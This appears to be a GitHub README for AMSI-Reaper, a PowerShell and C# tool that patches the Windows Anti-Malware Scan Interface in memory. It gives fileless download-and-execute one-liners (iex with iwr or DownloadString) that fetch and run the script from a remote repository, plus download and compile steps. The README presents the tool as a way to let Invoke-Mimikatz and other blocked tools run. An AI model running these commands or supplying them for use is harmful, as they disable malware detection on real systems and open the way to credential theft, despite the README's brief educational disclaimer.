![reaper](https://private-user-images.githubusercontent.com/117091833/277834143-24861e69-df06-477d-8844-a0d4015ef830.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjIzMjAzMzMsIm5iZiI6MTcyMjMyMDAzMywicGF0aCI6Ii8xMTcwOTE4MzMvMjc3ODM0MTQzLTI0ODYxZTY5LWRmMDYtNDc3ZC04ODQ0LWEwZDQwMTVlZjgzMC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwNzMwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDczMFQwNjEzNTNaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1kNDI0MDNmZTJjNTZjMWUzNjFiZGU5M2M5NjU0MDM4MGE2NGM5NWE5ZTg4NjUxMjVlMWY4N2YyM2JiMjk3OWFlJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.oRfozNeZWas8r3NHh4sQ9jLwTBLqH4uIPPeqxsQDunA)
- AMSI-Reaper is a tool developed in both PowerShell and C# (.NET Framework v4.0) designed to bypass the Anti-Malware Scan Interface (AMSI) in Windows.
- AMSI is a built-in security feature in Windows that allows applications and services to integrate with antimalware products.
- By default, it provides a layer of protection against potentially malicious scripts and code executed in applications like PowerShell.
- Check out more on the YouTube Video
- Bypass AMSI: AMSI-Reaper injects code into the memory of the AMSI components, preventing them from interfering with your scripts.
- PowerShell and C# Support: The tool is available in both PowerShell and C# versions, making it adaptable to different use cases.
- AMSI-Reaper requires Administrator privileges to function correctly. Please run the tool as an Administrator.
iex (iwr https://raw.githubusercontent.com/h0ru/AMSI-Reaper/main/src/AMSI-Reaper.ps1)
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/h0ru/AMSI-Reaper/main/src/AMSI-Reaper.ps1')
wget https://raw.githubusercontent.com/h0ru/AMSI-Reaper/main/src/AMSI-Reaper.cs -O AMSI-Reaper.cs
iwr https://raw.githubusercontent.com/h0ru/AMSI-Reaper/main/src/AMSI-Reaper.cs -O AMSI-Reaper.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe AMSI-Reaper.cs
- The AMSI-Reaper tool is meant for educational and research purposes only. The author is not responsible for any misuse, damage, or legal consequences caused by the use of this tool.
- Invoke-Mimikatz is detected and blocked by AMSI
![image1](https://private-user-images.githubusercontent.com/117091833/277832284-6dba8127-9fec-41ec-ba8d-f70d01678dea.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjIzMjAzMzMsIm5iZiI6MTcyMjMyMDAzMywicGF0aCI6Ii8xMTcwOTE4MzMvMjc3ODMyMjg0LTZkYmE4MTI3LTlmZWMtNDFlYy1iYThkLWY3MGQwMTY3OGRlYS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwNzMwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDczMFQwNjEzNTNaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0xZTQwZGZmNjE5MmQwMTE3MzYwNWEzNDE4ZjUyYTg4OGUxN2NhYzNjYzlhZDVjMDUzZjdiMmU4MGJiZWVhMjdiJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.i7MxV046yVNelUeLy5p8eQgy5EaMCZwj0P99NZxxIfA)
- With AMSI-Reaper in PowerShell, we can request and use it from the command line in real-time, all in memory.
![image2](https://private-user-images.githubusercontent.com/117091833/277832496-dbcf74d0-a3c3-4e64-a024-3b2bea604f37.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjIzMjAzMzMsIm5iZiI6MTcyMjMyMDAzMywicGF0aCI6Ii8xMTcwOTE4MzMvMjc3ODMyNDk2LWRiY2Y3NGQwLWEzYzMtNGU2NC1hMDI0LTNiMmJlYTYwNGYzNy5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwNzMwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDczMFQwNjEzNTNaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT01ZDljNWUyNWJmNWUyYzc2ZTM4MTZkYjhiNWRmYmIyNzU3OTVkMjE2YmM1ZDE4ZThlMGZiM2Y3YTAwZTViOTMyJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.4-cdbFdz4TBI-D01Xuhq_otVFbM-w6MzTlaajYowMKk)
- Alternatively, you can also use AMSI-Reaper in C# with native Windows features by compiling it with csc.
![image3](https://private-user-images.githubusercontent.com/117091833/277832993-8906a6ab-d2d8-4ace-906c-2e0869040aa7.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjIzMjAzMzMsIm5iZiI6MTcyMjMyMDAzMywicGF0aCI6Ii8xMTcwOTE4MzMvMjc3ODMyOTkzLTg5MDZhNmFiLWQyZDgtNGFjZS05MDZjLTJlMDg2OTA0MGFhNy5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwNzMwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDczMFQwNjEzNTNaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT01ZjBhNWU4NmFhNDk0NGY1MWFhYmY3ZDk3ZjFjODAzMmQ5ZDU3MDk0MGJlYzNlYTMzOTg5ZTc2MjY1NTQxNWUwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.9yL2uE7Lt8AkleOuFivAOjTCHlb9Yew5OvKMXNtz_hg)